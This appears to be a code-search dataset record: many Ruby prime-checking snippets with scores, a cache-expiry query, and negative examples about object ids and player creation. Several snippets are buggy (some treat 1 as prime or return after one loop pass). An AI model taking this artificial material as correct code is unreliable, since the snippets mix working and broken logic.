"def is_prime?(number)\n if number < 1\n return false\n elsif number <= 3\n return true\n elsif number % 2 == 0 || number % 3 == 0 \n return false\n elsif number != 5 && number % 5 == 0\n return false\n elsif number != 7 && number % 7 == 0\n return false\n elsif number != 9 && number % 9 == 0\n return false\n elsif number != 11 && number % 11 == 0\n return false\n else \n return true\n end\nend",
"def is_prime?(number)\n if number <= 1\n return false\n end\n\n i = 2\n while i < number\n if (number % i) == 0\n return false\n end\n i += 1\n end\n return true\nend",
"def is_prime?(number)\n counter = 0 \n (2..(number-1)).each do |num|\n if ( number % num ) == 0\n counter += 1\n else\n counter = counter\n end \n end \n \n if counter > 0 \n return false\n else \n return true\n end \n \nend",
"def PrimeChecker(num)\n num = num.to_s.split('')\n perm = num.permutation(num.size).to_a\n perm.each do |p|\n return 1 if is_prime?(p.join.to_i) \n end\n return 0\nend",
"def is_prime?(number)\n\n if (number > 1) && (number % 2 != 0) && (number % 3 != 0) && (number % (number-1) != 0) || (number == 2) || (number == 3)\n return true\n else\n return false\n end\nend",
"def isPrime(num)\n \n prime_test = 3\n if num.odd? && num != 1 && num.is_a?(Integer)\n while (num % prime_test != 0) && prime_test < (num / 5*7*11 ) do prime_test += 2 end\n prime_test = num if (num % prime_test != 0) && prime_test < num\n else\n prime_test = num if num == 2\n end\n return (num == prime_test) ? true : false\n \n\n # #===== other sol 1:\n # require 'prime'\n # num.prime?\n \n # #===== other sol 2:\n # num > 1 && (1..num/2).select {|n| num % n == 0}.size == 1 ? true : false\n \n # #===== other sol 3:\n # return false if num < 2\n # (2...num).to_a.select{|x| num%x == 0}.compact.empty?\nend",
"def is_prime?(number)\n i = number - 1\n until i < 2\n if number % i == 0\n return false\n end\n i -= 1\n end\n return true\nend",
"def prime?(number)\n if number <= 1\n return false\n end\n (2..Math.sqrt(number)).each do |n|\n if number%n == 0\n return false\n end\n end\n return true\nend",
"def isprime?(num)\n\n return false if num<2\n\n (2...num).each do |factor|\n return false if num % factor == 0\n end\n\n return true\n\nend",
"def is_prime?(number)\n \n if number == 2 then return true end\n if number%2 == 0 then return false end\n if number == 3 then return true end\n if number%3 == 0 then return false end\n \n square_root= Math.sqrt(number).to_i # .to_i is not necessary, but it doesn't hurt (9<9.5 is true)\n \n divisor= 5\n while divisor <= square_root\n \n if number%divisor == 0 then return false end\n \n divisor+= 2\n if number%divisor == 0 then return false end\n \n divisor+= 4\n end\n # note the sequence of divisors, 5,7,11,13,17,19,23,25,29,31... <- these are the set of numbers not divisible by either 2 or 3 or both\n \n return true\nend",
"def num_prime?(num)\n j = Math.sqrt(num).floor\n is_prime = true\n (2..j).each do |i|\n is_prime = false if num % i == 0\n end\n is_prime\nend",
"def is_prime?(number)\n factors = (2...(number))\n if number == 2 || number == 3\n return true\n elsif number == 0 || number == 1\n return false\n elsif factors.any? {|factor| number % factor == 0 }\n return false\n else return true\n end\nend",
"def is_prime?(number)\n number = number.abs\n return false if number < 2\n return true if number < 4\n\n factor = 2\n while factor * factor <= number\n return false if number % factor == 0\n factor += 1\n end\n\n true\nend",
"def is_prime?(number)\n number = number.abs\n return false if number < 2\n return true if number < 4\n\n factor = 2\n while factor * factor <= number\n return false if number % factor == 0\n factor += 1\n end\n\n true\nend",
"def is_prime?(number)\n number = number.abs\n return false if number < 2\n return true if number < 4\n\n factor = 2\n while factor * factor <= number\n return false if number % factor == 0\n factor += 1\n end\n\n true\nend",
"def prime?(num)\n # return false if num < 2\n return true if [2, 3].include? num\n return false if (num % 2).zero? || (num % 3).zero?\n\n i = 5\n s = 2\n\n while (i * i) <= num\n return false if (num % i).zero?\n\n i += s\n s = 6 - s\n end\n true\nend",
"def prime? (number)\n if number == 2\n return true\n elsif number < 2\n return false\n else\n for num in 2..Math.sqrt(number)\n if number % num == 0\n return false\n else\n return true\n end\n end\n end\nend",
"def isprime(n)\n \n for x in (3..(n**0.5).abs+2)\n if n % x == 0\n return false\n end\n return true\n end\nend",
"def is_prime?(num)\n if num > 2 \n if num % 2 == 0\n return false\n end\n i = 3 # start at 3\n maxn = num**(0.5) # go up to the square root of num\n while i <= maxn\n if num % i === 0\n return false\n end\n i = i+2 # count up by 2 to check only odd numbers\n end\n true\n elsif num == 2 # special case for 2\n true\n else\n false\n end\nend",
"def is_prime?(num)\n if !is_integer?(num)\n return false\n elsif num <= 1\n return false\n else\n (2..(num-1)).each do |el|\n if num % el == 0\n return false\n end\n end\n end\n return true\nend",
"def prime?(number)\n if number == 0 or number == 1\n return false\n end\n i = 2\n while i < number\n if number % i == 0\n return false\n end\n i += 1\n end\n return true\nend",
"def is_prime number\n\ti = 1\n\tnot_prime = 0\n\tloop do\n\t\tbreak if i == number / 2\n\t\tif number % i == 0\n\t\t\tnot_prime = 1\n\t\tend\n\t\tbreak if not_prime == 1\n\t\ti = i + 1\n\tend\n\tnot_prime\nend",
"def is_prime(number)\n if number == 1\n return true\n end\n 2.upto(number) do |x|\n if (number % x == 0) && (number != x)\n return false\n end\n end\n return true\nend",
"def is_prime?(num)\n return false if num == 1\n return true if num == 2 \n (2..Math.sqrt(num)+1).each do |x|\n return false if num%x == 0\n end\n true\nend",
"def prime?(number)\n if number == 1\n return false\n elsif number < 4\n return true\n elsif number%2 == 0\n return false\n elsif number < 9\n return true\n elsif number%3 == 0\n return false\n else\n r = (Math.sqrt(number)).floor\n f = 5\n while f<=r\n if number%f == 0\n return false\n elsif number%(f+2) == 0\n return false\n end\n f += 6\n end\n return true\n end\nend",
"def is_prime?(number)\r\n (2...number).each do |n|\r\n return false if number % n == 0\r\n end\r\n true\r\nend",
"def is_prime?(num)\n return false if num < 2\n (2...num).each do |i|\n return false if num%i == 0\n end\n return true\nend",
"def prime?(number)\n\nreturn false if number < 2\n\n (2...number).each do |x|\n return false if number % x == 0\n end\nreturn true\n\nend",
"def is_prime?(num)\n return true if num == 1 || num == 2\n return false if num % 2 == 0\n int = 3\n while int <= Math::sqrt(num)\n return false if num % int == 0\n int += 2\n end\n true\nend",
"def is_prime(num)\n (2..Math.sqrt(num).floor).each do |i|\n if num % i == 0\n return false\n end\n end\n return true\nend",
"def prime?(num)\n return false if num < 2\n\n return true if num <= 3\n\n return false if (num % 2).zero? || (num % 3).zero?\n\n i = 5\n while i < Math.sqrt(num)\n return false if (num % i).zero?\n\n i += 1\n end\n true\nend",
"def isprime(n)\n\tif n == 1\n\t\treturn false \n\tend \n\tif n == 2 \n\t\treturn true \n\tend \n\tx = 2\n\tloop do \n\t\tif n % x == 0\n\t\t\treturn false \n\t\tend\n\t\tx = x + 1 \n\t\tif x == n\n\t\t\tbreak\n\t\tend \n\t\t\n\tend \n\treturn true\nend",
"def is_prime_number(num)\n (2...num).all? {|n| num % n != 0}# has factors\nend",
"def is_prime?(number)\n return false if number < 2\n \n (2..number - 1).each do |n|\n return false if number % n == 0\n end\n\n true\nend",
"def prime?(n)\n\tif n < 2\n return false\n elsif n == 2 || n == 3 || n ==5 || n ==7 || n== 11 || n ==13 #finish for all prime numbers\n return true\n elsif n % 2 == 0|| n % 3 == 0 || n % 5 ==0 || n % 7 == 0 || n % 11 ==0 || n% 13 == 0#... finish for all prime numbers\n return false\n else\n return true\n end\nend",
"def isPrime(num)\n\tif num % 2 == 0\n\t\treturn false\n\tend\n\tmax = Math.sqrt(num)\n\tfor i in 3..max \n\t\tif num % i == 0\n\t\t\treturn false\n\t\tend\n\tend\n\treturn true\nend",
"def is_prime? n\n for m in 2..(Math.sqrt(n))\n if n%m == 0\n return false\n end\n end\n return true\nend",
"def is_prime(n) \n return false if n == 1\n return true if n < 4\n return false if (n % 2) == 0 \n return true if n < 9 \n return false if (n % 3) == 0 \n r = Math.sqrt(n).floor \n f = 5\n while (f <= r)\n return false if (n % f) == 0 \n return false if (n % (f + 2)) == 0\n f = f + 6\n end\n return true\nend",
"def prime_chars?(str)\n characters = str.join.length\n \n return false if characters <= 1\n return true if characters == 2 \n \n for x in 2...characters\n return false if characters % x == 0 \n end\n \nend",
"def is_prime(n) \r\n\treturn false if n == 1 || n % 2 == 0 \r\n i = 2\r\n while i <= Math.sqrt(n)\r\n if n % i == 0\r\n return false\r\n\t\tend\t\r\n i += 1\r\n\tend\t\r\n true\r\nend",
"def is_prime?(number)\n (2..(number - 1)).each do |divisor|\n return false if number % divisor == 0\n end\n\n true\nend",
"def is_prime?(number)\n (2..(number - 1)).each do |divisor|\n return false if number % divisor == 0\n end\n\n true\nend",
"def is_prime?(number)\n (2..(number - 1)).each do |divisor|\n return false if number % divisor == 0\n end\n\n true\nend",
"def is_prime?(num)\n (2...num).each do |factor|\n if num % factor == 0\n return false\n end\n end\n true\nend",
"def is_prime?(number)\n if number < 1\n return false\n end\n divisor = 2\n while number % divisor != 0\n divisor += 1\n if number == divisor\n return true \n end\n end\n return false\n end",
"def is_prime?(number)\n return false if number < 2\n\n #Start at 2, since anything lower isn't prime\n idx = 2\n\n #Anything above has a conjugatae divisor less than sqrt number.\n while idx < number**0.5\n\n if number%idx==0\n return false\n end\n\n #After 2, only check odd numbers for primeness\n if idx%2==0\n idx += 1\n else\n idx += 2\n end\n end\n\n return true\nend",
"def is_prime(num)\n # every number greater than root is checked with lower numbers\n root = Math.sqrt(num)\n i = 2\n while i <= root\n if(num % i == 0)\n return false\n end\n i += 1\n end\n return true\nend",
"def is_prime?(num)\n if !num.is_a?(Integer) || ( num.class == Float && !num.nan? && num == num.floor ) || num <= 1\n false\n else\n (2...num).each do |i|\n if num % i == 0\n return false\n end\n end\n true\n end\nend",
"def is_prime?(num)\n (2...num).each do |i|\n if num % i == 0\n return false\n end\n end\n num > 2\nend",
"def isPrime(num)\nreturn false if num < 2\n(2..(Math.sqrt(num))).each do |x|\n return false if num % x == 0\nend\ntrue\nend",
"def prime?(number)\n if number <= 1 || (number.to_f != number.to_i)\n return false\n elsif number == 2\n return true\n else\n array = (2..Math.sqrt(number)).to_a\n ## To make this program run faster & solve for exponentially larger primes,\n ## set the array range from 2..√number instead of 2...number.\n ## http://stackoverflow.com/questions/5811151/why-do-we-check-up-to-the-square-root-of-a-prime-number-to-determine-if-it-is-pr\n ## Thanks to my mother, the math teacher!\n array.each do |divisor|\n if ((number.to_f/divisor.to_f) == (number.to_i/divisor.to_i))\n #for divisor in (2...number)\n #if (number.to_f % divisor.to_f) == 0\n return false\n end\n end\n return true\n end\nend",
"def is_prime?(num)\n return 2 if num == 2\n (2...num).each do |n|\n return false if num % n == 0\n end\n true\nend",
"def is_prime?(number)\n for i in 2..(number-1)\n if (number % i) == 0\n return false\n break\n end\n end\n true\nend",
"def is_prime? (number)\n return false if number < 1\n 2.upto(Math.sqrt(number)) do |x|\n return false if number % x == 0\n end \n true\nend",
"def is_prime?(num)\n i = 2\n while i < num\n divisible = ((num % i) == 0)\n if divisible\n return false\n end\n i += 1\n end\n true\nend",
"def prime?(number)\n if number < 2\n return false\n else\n (2..number-1).each do |n|\n if number % n == 0\n return false\n end\n end\n true\nend\nend",
"def is_prime?(number)\n return false if number < 2\n i = 2\n while i <= Math.sqrt(number) # See below why we stop at square root of number\n return false if number % i == 0\n i += 1\n end\n true\nend",
"def prime?(integer)\n result = \"\"\n case\n when integer <= 1\n result = false\n else\n prime_check = (2..integer).to_a\n prime_check.each do |x|\n prime_check.delete_if { |y| ( x != y && y % x == 0 ) }\n end\n result = prime_check.include?(integer)\n end\n result\nend",
"def isPrime n\n if n==1 \n return false\n elsif n<4 \n return true \n elsif n % 2==0 \n return false\n elsif n<9 \n return true\n elsif n % 3==0 \n return false\n else\n r=Math.sqrt(n).to_i\n f=5\n while f<=r\n return false if n % f==0\n return false if n % (f+2)==0\n f=f+6\n end \n end\n \n return true\nend",
"def is_prime?(number)\n return false if number <= 1\n prime = true\n (2..number - 1).each do |n|\n prime = false if number % n == 0\n end\n prime\nend",
"def prime number\n return true if number==2\n max = Math.sqrt number\n for i in 2..max\n return false if number%i==0\n end\n return true\nend",
"def is_prime?(number)\n result = true\n\n # 2 is the only even prime number\n if number == 2\n result = true\n elsif number < 2 or number % 2 == 0\n result = false\n else\n # if there aren't any multiples of n before the square root\n # of n, there aren't any at all.\n root = Math.sqrt(number).ceil\n (3..root).each do |i|\n if number % i == 0\n result = false\n break\n end\n end\n end\n return result\nend",
"def prime?(num)\n return true if num < 3\n\n (2...num).each do |i|\n return false if num % i == 0\n end\n true\nend",
"def is_prime?(num)\n return false if num < 2\n (2...num).each do |i|\n if num % i == 0\n return false\n end\n end\n return true\nend",
"def is_prime?(num)\n return false if num < 2\n (2...num).each do |i|\n if num % i == 0\n return false\n end\n end\n return true\nend",
"def anti_prime?(number)\n divisor_count = divisors(number)\n (2..number).each do |num| \n return false if divisors(num) > divisor_count \n end \n true\nend",
"def is_prime(n)\n\n\tif n <= 1\n\t\treturn false\n\tend\n\n\tif n <= 3\n\t\treturn true\n\tend\n\n\tif (n % 2 == 0 || n % 3 == 0)\n\t\treturn false\n\tend\n\n\ti = 5\n\n\twhile i * i <= n\n\n\t\tif n % i == 0 || n % (i + 2) == 0\n\t\t\treturn false\n\t\tend\n\n\t\ti += 6\n\tend\n\n\treturn true\n\t\nend",
"def is_prime?(num)\n (2...num).each do |n|\n if num % n == 0\n return false\n end\n end\n true\nend",
"def is_prime(number)\n return false if number < 3 || number.even?\n\n square = Math.sqrt(number).to_i\n\n !(3..square).any? { |x| number % x == 0 }\nend",
"def is_prime?(num)\n for i in (2...num/2)\n if num % i == 0\n return false\n end\n end\n return true\nend",
"def is_prime?(num)\n count = 0\n (1..num).each do |n|\n if (num%n == 0)\n count+=1\n end\n end\n \n if (count == 2)\n true\n else\n false\n end\nend",
"def is_prime(test_number)\n j=2\n while j<test_number-1 do\n if test_number%j==0\n test_number=0\n end\n j=j+1\n end\n test_number=test_number\nend",
"def isPrime?(num)\n if ((num == 2) || (num == 5))\n return true\n end\n if (num % 2) == 0\n return false\n end\n if (num % 5) == 0\n return false\n end\n x = Math.sqrt(num)+1\n for i in 2...x\n if((num % i) == 0)\n return false\n end\n end\nend",
"def prime_chars?(array)\n string = array.join(\"\")\n number = string.length\n if number < 2\n return false\n else\n is_prime = true\n (2..Math.sqrt(number)).each do |n|\n if number % n == 0\n is_prime = false\n end\n end\n return is_prime\n end\nend",
"def is_prime?(num)\n return false if num <= 1\n\n (2...num).each do |fact|\n return false if num % fact == 0\n end\n\n true\nend",
"def is_prime?\n return true if self == 2\n return false if self < 3\n for divisor in 2..(Math.sqrt(self).to_i)\n return false if self%divisor == 0\n end\n true\n end",
"def prime?(number)\n (2..(number-1)).each do |possible_factor|\n return false if number % possible_factor == 0\n end\n true\nend",
"def is_prime?(number)\n count = 0\n n = 2\n if number > 1\n while n < 100\n if number%n == 0\n count +=1\n end\n if count > 1\n break\n end\n n += 1\n end\n else\n return false\n end\n #check count for prime\n if count == 1\n #not prime\n return true\n elsif count > 1\n return false\n else\n nil\n end\nend",
"def prime?(integer)\n if integer > 1\n arr = Array.new\n for i in 2..(Math.sqrt(integer).round)\n arr << i\n end\n arr.each do |i|\n return false if integer % i == 0\n end\n return true\n else\n return false\n end\nend",
"def is_prime?(num)\n\n return false if num <= 1\n return true if num == 2\n\n i = 2\n while i < num\n return false if num % i == 0\n i += 1\n end\n\n true\n\nend",
"def is_prime?(num)\n return false if num < 2\n\n (2...num).each do |i|\n return false if num % i == 0\n end\n true \nend",
"def is_prime?(num)\n # Write your code here\nif ((num%2!=0) && (num%3!=0) && (num%5!=0)) || num==2 || num==3 || num==5\n return true\nelse \n return false\nend\nend",
"def is_prime?(num)\n Math.sqrt(num).floor.downto(2).each do |i|\n false if num % i == 0\n end\n true\nend",
"def is_prime(n)\n if(n != 2)\n n_sqrt = Math.sqrt(n).round\n for i in 2..n_sqrt\n return false if(n%i==0)\n end\n end\n return true\nend",
"def prime? num\n if num == 1 || num == 2\n puts 'Prime.'\n return true\n end\n i = 2;\n while i < Math.sqrt(num)\n if num % i == 0\n puts 'Not prime.'\n return false\n end\n i += 1\n end\n puts 'Prime.'\n return true\nend",
"def is_prime(number)\n prime = 0\n for i in 1..number\n if (number % i == 0)\n prime += 1\n end\n end\n return true if prime == 2\n return false\nend",
"def is_prime?(number)\n return true if number == 2\n 2.upto(number/2) do |x|\n return false if number%x == 0\n end\n return true\nend",
"def is_prime?(i)\n return false if i <= 1\n return true if i == 2\n (2...i).each {|n|\n if i % n == 0\n return false\n end\n }\n true\nend"
] |
[
"0.79105467",
"0.7857874",
"0.7848781",
"0.78218585",
"0.78054583",
"0.7793555",
"0.776924",
"0.77635276",
"0.7740456",
"0.77403235",
"0.7704398",
"0.770089",
"0.7695653",
"0.76886857",
"0.7686917",
"0.7677002",
"0.76702034",
"0.76592165",
"0.76558125",
"0.76450765",
"0.7638477",
"0.7630002",
"0.7626133",
"0.7624579",
"0.76227087",
"0.76193225",
"0.76193225",
"0.76193225",
"0.7615448",
"0.7612675",
"0.76107556",
"0.7608207",
"0.76067513",
"0.7603625",
"0.7599679",
"0.75880796",
"0.75877315",
"0.75858295",
"0.75843114",
"0.7577517",
"0.75773156",
"0.7577269",
"0.7576538",
"0.75739294",
"0.75699174",
"0.75585985",
"0.75573254",
"0.7536221",
"0.7530911",
"0.75290674",
"0.7528483",
"0.75248176",
"0.7522632",
"0.752195",
"0.752195",
"0.752195",
"0.752087",
"0.7519091",
"0.75150204",
"0.751401",
"0.7505991",
"0.7499033",
"0.7498646",
"0.74951804",
"0.74936306",
"0.74930394",
"0.7490103",
"0.74888563",
"0.74844277",
"0.7483191",
"0.7483073",
"0.7482244",
"0.7481938",
"0.74803853",
"0.74784166",
"0.7475783",
"0.7474352",
"0.74736404",
"0.7470528",
"0.7466698",
"0.7466571",
"0.7466176",
"0.7464188",
"0.74593604",
"0.74574614",
"0.7455489",
"0.7454477",
"0.7452424",
"0.7447984",
"0.74472684",
"0.74448925",
"0.74444395",
"0.74444205",
"0.74441916",
"0.74407667",
"0.74398845",
"0.74392825",
"0.74373865",
"0.74370164",
"0.7436162",
"0.7432691"
] |
0.0
|
-1
|
:type class name :id id
|
def expire_object(args)
clazz = args[:type].constantize
case args[:type]
when 'Image' : expire_image args[:id]
when 'NameAlias' : return
else
LOGGER.info "expire object #{clazz} #{args[:id]}"
controller = clazz.base_class.name.demodulize.underscore
path = "#{controller}/#{args[:id]}"
if controller =~ ENCYCLOPEDIA_CONTROLLERS
path = "encyclopedia/#{path}"
end
delete path
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; 1; end",
"def id() end",
"def initialize (id)\n @id = id\n end",
"def initialize(id)\n self.id = id\n end",
"def id; 1; end",
"def id\n __id\n end",
"def id_class\n @id_class ? @id_class : nil\n end",
"def initialize(id) @id = id; end",
"def initialize(id) @id = id; end",
"def initialize(id)\n @id = id\n end",
"def __id__() end",
"def initialize(id)\n self.id = id\n end",
"def initialize(id)\n @id = id\n end",
"def initialize(id)\n @id = id\n end",
"def initialize(id)\n @id = id\n end",
"def id\n raise \"Method 'id' must be defined\"\n end",
"def initialize(id)\n\t\t@id = id\n\tend",
"def identify(id)\n @id = id\n end",
"def id\n object_id\n end",
"def by_id(id)\n raise NotImplementedError.new\n end",
"def id=(id)\n end",
"def cast\n Kernel.const_get(objeto_classe).find(objeto_id)\n end",
"def id\n @id\n end",
"def id\n @id\n end",
"def id\n @id\n end",
"def id\n @id\n end",
"def id\n @id\n end",
"def id\n @id\n end",
"def typed_id\n self.class.name + ':' + self.id.to_s\n end",
"def id\n @id\n end",
"def get_object_by_id(class_name, id)\n obj = nil\n get_objects_of_class(class_name).each do |o|\n if o.id == id\n obj = o\n break\n end\n end\n obj\n end",
"def id\n object.id\n end",
"def id\n object.id\n end",
"def id\n raise NotImplementedError\n end",
"def id\r\n @id\r\n end",
"def find(id)\n klass.find(id)\n end",
"def initialize(id); end",
"def find_by_id(clazz, id)\n clazz.find(id)\n end",
"def id\n self[:id]\n end",
"def getId\n @id\n end",
"def id\n @id\n end",
"def id\n raise NotImplementedError\n end",
"def id; self['_id']; end",
"def id()\n #This is a stub, used for indexing\n end",
"def id\n self[:id]\n end",
"def id\n\t\t@id\n\tend",
"def id\n read_attr :id\n end",
"def find(id)\n end",
"def initialize(id, klass, *args)\n @id = id\n @set_key = self.class.key_for id\n @klass = klass.is_a?(String) ? klass.constantize : klass\n @args = args\n end",
"def id\n 1\n end",
"def id\n name\n end",
"def id\n name\n end",
"def get_object\n class_name.create_from_database(id)\n end",
"def id\n object[\"id\"]\n end",
"def id\n name\n end",
"def find(id)\n found_id = redis.get \"#{klass}:id:#{id}\"\n\n if found_id\n object = self.new\n object.send(:id=, found_id.to_i)\n object\n end\n end",
"def id\n return @id\n end",
"def id\n self.Id\n end",
"def id=(id) # :nodoc:\n raise NotImplementedError.new('id can not be changed once the object was created')\n end",
"def find(id); end",
"def find(id); end",
"def id\n attribute('id', 'id')\n end",
"def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend",
"def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend",
"def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend",
"def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend",
"def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend",
"def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend",
"def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend",
"def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend",
"def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend",
"def id\n @obj['id']\n end",
"def id\n return self[:id]\n end",
"def id\n self['id']\n end",
"def id\n self['id']\n end",
"def initialize(id: nil)\n super()\n @id = id\n end",
"def __id; @id || @obj.id; end",
"def initialize(obj)\n self.class_name = obj.class.to_s\n self.obj_id = obj.id.to_s\n end",
"def getId\n\t\treturn @id\n\tend",
"def initialize(type, id)\n @type = type.to_s\n @id = id.to_s\n end",
"def initialize(type, id)\n @type = type.to_s\n @id = id.to_s\n end",
"def id\n @attributes[:ID]\n end",
"def id=(id)\n super(id)\n end",
"def initialize(base_class_name, id)\n @base_class_name = base_class_name\n @id = id\n end",
"def id\n key\n end",
"def find_by_id(class_name)\n class_name.find_by(id: params[:id])\n end",
"def id\n #NOOP\n end",
"def id\n object.object_id\n end",
"def initialize(name, id)\n @name = name\n @id = id\n end"
] |
[
"0.7333777",
"0.7333777",
"0.7333777",
"0.7333777",
"0.7333777",
"0.7333777",
"0.7333777",
"0.7333777",
"0.7333777",
"0.7333777",
"0.7333777",
"0.7333777",
"0.70892733",
"0.7013448",
"0.6920059",
"0.68914896",
"0.6888086",
"0.68819255",
"0.68213665",
"0.6794935",
"0.6794935",
"0.67887163",
"0.6720734",
"0.6690131",
"0.66888046",
"0.66888046",
"0.66888046",
"0.66858727",
"0.66615885",
"0.66553986",
"0.66446376",
"0.6629242",
"0.66291904",
"0.66107595",
"0.65927535",
"0.65927535",
"0.65863764",
"0.65863764",
"0.65863764",
"0.65863764",
"0.657831",
"0.65750796",
"0.65750533",
"0.6567995",
"0.6567995",
"0.65374535",
"0.6531156",
"0.6528591",
"0.6526762",
"0.65102744",
"0.6508472",
"0.64969504",
"0.64940184",
"0.6485384",
"0.6465686",
"0.64645237",
"0.6435817",
"0.64321226",
"0.6421449",
"0.6376425",
"0.63732123",
"0.63721865",
"0.63623536",
"0.63623536",
"0.63617754",
"0.6344272",
"0.6344084",
"0.6339279",
"0.63370794",
"0.63333213",
"0.63285536",
"0.6328097",
"0.6328097",
"0.6322673",
"0.63106483",
"0.63106483",
"0.63106483",
"0.63106483",
"0.63106483",
"0.63106483",
"0.63106483",
"0.63106483",
"0.63106483",
"0.6295904",
"0.6287108",
"0.6287046",
"0.6287046",
"0.6276694",
"0.6274972",
"0.62673783",
"0.6265817",
"0.6264606",
"0.6264606",
"0.62561095",
"0.62472606",
"0.62464297",
"0.6238541",
"0.6237235",
"0.623084",
"0.6217006",
"0.6215226"
] |
0.0
|
-1
|
type in name of player and finds or creates a new one
|
def find_or_create_by
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create_player\n name=gets.chomp\n @name=name\n end",
"def create_new_player\n hero_name = TTY::Prompt.new.ask('What is your Superhero\\'s name?', default: 'Anonymous')\n Superhero.find_or_create_by(name: hero_name)\n end",
"def create_player\n name = gets.chomp\n player = Player.new(name: name)\nend",
"def create_player\n\t\tputs \"What is your name?\"\n\t\t@player = gets.strip.to_s\n\t\tputs \"Welcome #{@player}!\"\n\tend",
"def create_player(name, num)\n if name.downcase == \"computer\"\n player = ComputerPlayer.new(num)\n else\n player = HumanPlayer.new(name, num)\n end\n end",
"def player(player_name)\n players.find{|player| player.name == player_name}\n end",
"def add_player player\n p = player_by_id(player.id)\n if !p\n @players << player\n elsif p.name != player.name\n p.name = player.name\n end\n end",
"def add_player(player_name)\n player = Player.new(player_name)\n $players << player\n end",
"def create_player(name)\n {\n \"id\" => @player_class.create(:player_name => name).id\n }\n end",
"def setup_player (new_player)\n #returns a player instance and prompts the user to enter name\n puts \"#{new_player}, please enter your name:\"\n name = gets.chomp\n new_player = Player.new(name)\n puts \"Welcome, #{new_player.name}!\"\n puts\n new_player\nend",
"def get_name(player_number, name)\n if player_number == 1\n then @player1 = Player.new(name)\n else\n @player2 = Player.new(name)\n end\n end",
"def add_player(name)\n\t\t@Player << name\n\t\tend",
"def add_player(name)\n\t\t@Player << name\n\t\tend",
"def ask_name\n puts \"Nom du player 1 ?\"\n print \"> \"\n @players << Player.new(gets.chomp.to_s, \"o\")\n\n puts \"Nom du player 2 ?\"\n print \"> \"\n @players << Player.new(gets.chomp.to_s, \"x\")\n end",
"def add_player(player_name)\n @player_names.push(player_name)\n end",
"def get_player_name(n)\n puts \"Player #{n}, what's your name?\"\n name = gets.chomp\n Player.new(name)\n end",
"def choose_player\n case @name\n when 'R2D2' then rtwodtwo\n when 'Hal' then hal\n when 'Chappie' then chappie\n end\n end",
"def add_a_new_player\n puts \"\\n\\nADD A NEW PLAYER\\n\\n\"\n print \"What is your name? \"\n name = gets.chomp\n\n #need default value for illustrator to be \"none\", in case there is none\n Player.new(name: name)\n\nend",
"def make_player(player_num)\n choice = 0\n puts \"For Human Opponent type 1 \\nFor Computer Opponent type 2\"\n until choice == 1 || choice == 2\n choice = gets.to_i\n if choice == 1\n puts \"Enter your name\"\n player = Player.new(gets.chomp) \n elsif choice == 2\n player = AI_Player.new(\"Computer #{player_num}\")\n else puts \"not a valid choice, pick again\"\n end\n end\n player\n end",
"def ask_name\n puts \"Quel est le nom du joueur 1 ?\"\n print \"> \"\n name_player0 = gets.chomp\n tok0 = \"X\"\n player0 =Player.new(name_player0,tok0)\n @player0 = player0\n puts \"OK , #{player0.name} jouera avec les #{player0.token} \"\n puts \" \"\n puts \"Quel est le nom du joueur 2 ?\"\n print \"> \"\n name_player1 = gets.chomp\n tok1 = \"O\"\n player1 = Player.new(name_player1,tok1)\n @player1 = player1\n puts \"OK , #{player1.name} jouera avec les #{player1.token} \"\n end",
"def make_player(moves)\n puts \"Enter player name:\"\n Player.new(gets.chomp, moves)\nend",
"def add_player(player_name)\n player = Player.new(player_name, 3)\n @players.push(player)\n end",
"def choose_name\n\tprint \"Choisis ton pseudo:\"\n\tprint \">\"\n\tpseudo = gets.chomp\n\tplayer_h = HumanPlayer.new(pseudo)\n\tputs \"\"\n\tputs \"Prêt #{player_h.name} ?\"\n\tputs \"\"\n\treturn player_h\nend",
"def player(name)\n players.detect { |p| p.name == name }\n end",
"def add_player(name)\n @players.push(name)\n end",
"def create_players\n puts \"Enter player1 name: \"\n player1_name = gets.chomp\n @player1 = Player.new(player1_name, \"X\")\n puts \"Enter player2 name: \"\n player2_name = gets.chomp\n @player2 = Player.new(player2_name, \"O\")\n puts \"#{@player1.name} will play with '#{@player1.symbol}' and #{@player2.name} will play with '#{@player2.symbol}' \\n\\n\"\n end",
"def set_name(player_name)\n @player_name = player_name\n end",
"def get_player_name(name)\n return prompt(\"Player Name? [Player #{name}]\",\"Player #{name}\")\n end",
"def make_player_character\n cast player_class, name: 'yourself', synonyms: 'self myself you me', proper_named: true\n end",
"def player_exist?(name)\n open_store \"players\" do |gd|\n gd.has_key? name.downcase\n end\n end",
"def create_player(id,name)\n @players.push(Player.new(id, name, 0))\n end",
"def create_player\n puts \"Choose a player name\"\n return @human = HumanPlayer.new(gets.chomp)\nend",
"def add_computer\n puts(\"Enter a unique player name.\")\n name = gets.chomp\n @player_list.append(Player.new(\"Computer\"))\n @player_list.append(Player.new(name))\n\n end",
"def setup_player_1\n name = ask_for_name(\"Player 1\")\n\n puts \"Hello #{name}! What token would you want to be? Type 'X' to be the x token and go first, otherwise you will be 'O'\"\n input = gets.chomp\n\n if input.downcase == \"x\"\n token = \"X\"\n else\n token = \"O\"\n end\n\n self.player_1 = Player.new(name, token)\n end",
"def set_player_name(msg, name=nil)\n player = get_player msg\n unless name\n msg.reply player.name\n return\n end\n if player.name\n msg.reply \"The majestic #{player.name} refuses to change his name!\"\n return\n end\n player.name = name\n player.save\n msg.reply \"Welcome, #{player.name}!\"\n end",
